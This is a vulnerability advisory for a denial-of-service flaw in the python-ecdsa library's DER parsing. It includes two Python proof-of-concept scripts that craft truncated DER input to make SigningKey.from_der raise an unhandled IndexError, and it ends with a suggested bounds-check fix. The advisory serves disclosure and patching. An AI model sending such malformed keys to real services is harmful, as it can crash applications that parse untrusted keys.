CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Lifecycle Timeline
4Tags
Description
## Summary An issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions. 1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected. 2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service. ## Impact Potential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions. ## Reproduction Attach and run the following PoCs: ### poc_truncated_der_octet.py ```python from ecdsa.der import remove_octet_string, UnexpectedDER # OCTET STRING (0x04) # Declared length: 0x82 0x10 0x00 -> 4096 bytes # Actual body: only 3 bytes -> truncated DER bad = b"\x04\x82\x10\x00" + b"ABC" try: body, rest = remove_octet_string(bad) print("[BUG] remove_octet_string accepted truncated DER.") print("Declared length=4096, actual body_len=", len(body), "rest_len=", len(rest)) print("Body=", body) print("Rest=", rest) except UnexpectedDER as e: print("[OK] Rejected malformed DER:", e) ``` - Expected: reject malformed DER when declared length exceeds available bytes - Actual: accepts the truncated DER and returns a shorter body - Example output: ``` Parsed body_len= 3 rest_len= 0 (while declared length is 4096) ``` ### poc_signingkey_from_der_indexerror.py ```python from ecdsa import SigningKey, NIST256p import ecdsa print("ecdsa version:", ecdsa.__version__) sk = SigningKey.generate(curve=NIST256p) good = sk.to_der() print("Good DER len:", len(good)) def find_crashing_mutation(data: bytes): b = bytearray(data) # Try every OCTET STRING tag position and corrupt a short-form length byte for i in range(len(b) - 4): if b[i] != 0x04: # OCTET STRING tag continue L = b[i + 1] if L >= 0x80: # skip long-form lengths for simplicity continue max_possible = len(b) - (i + 2) if max_possible <= 10: continue # Claim more bytes than exist -> truncation newL = min(0x7F, max_possible + 20) b2 = bytearray(b) b2[i + 1] = newL try: SigningKey.from_der(bytes(b2)) except Exception as e: return i, type(e).__name__, str(e) return None res = find_crashing_mutation(good) if res is None: print("[INFO] No exception triggered by this mutation strategy.") else: i, etype, msg = res print("[BUG] SigningKey.from_der raised unexpected exception type.") print("Offset:", i, "Exception:", etype, "Message:", msg) ``` - Expected: reject malformed DER with `UnexpectedDER` or `ValueError` - Actual: deterministically triggers an internal `IndexError` (DoS risk) - Example output: ``` Result: (5, 'IndexError', 'index out of bounds on dimension 1') ``` ## Suggested fix Add “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`: - `remove_octet_string()` - `remove_constructed()` - `remove_implicit()` Additionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes. ## Credit Mohamed Abdelaal (@0xmrma)
Analysis
Denial-of-service vulnerability in python-ecdsa library allows remote attackers to crash applications parsing untrusted DER-encoded private keys through truncated or malformed DER structures. The DER parsing functions accept invalid input that declares a longer byte length than actually provided, subsequently triggering unexpected internal IndexError exceptions instead of cleanly rejecting the malformed data. …
Sign in for full analysis, threat intelligence, and remediation guidance.
Remediation
Within 30 days: Identify affected systems and apply vendor patches as part of regular patch cycle. Vendor patch is available.
Sign in for detailed remediation steps.
Priority Score
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-16856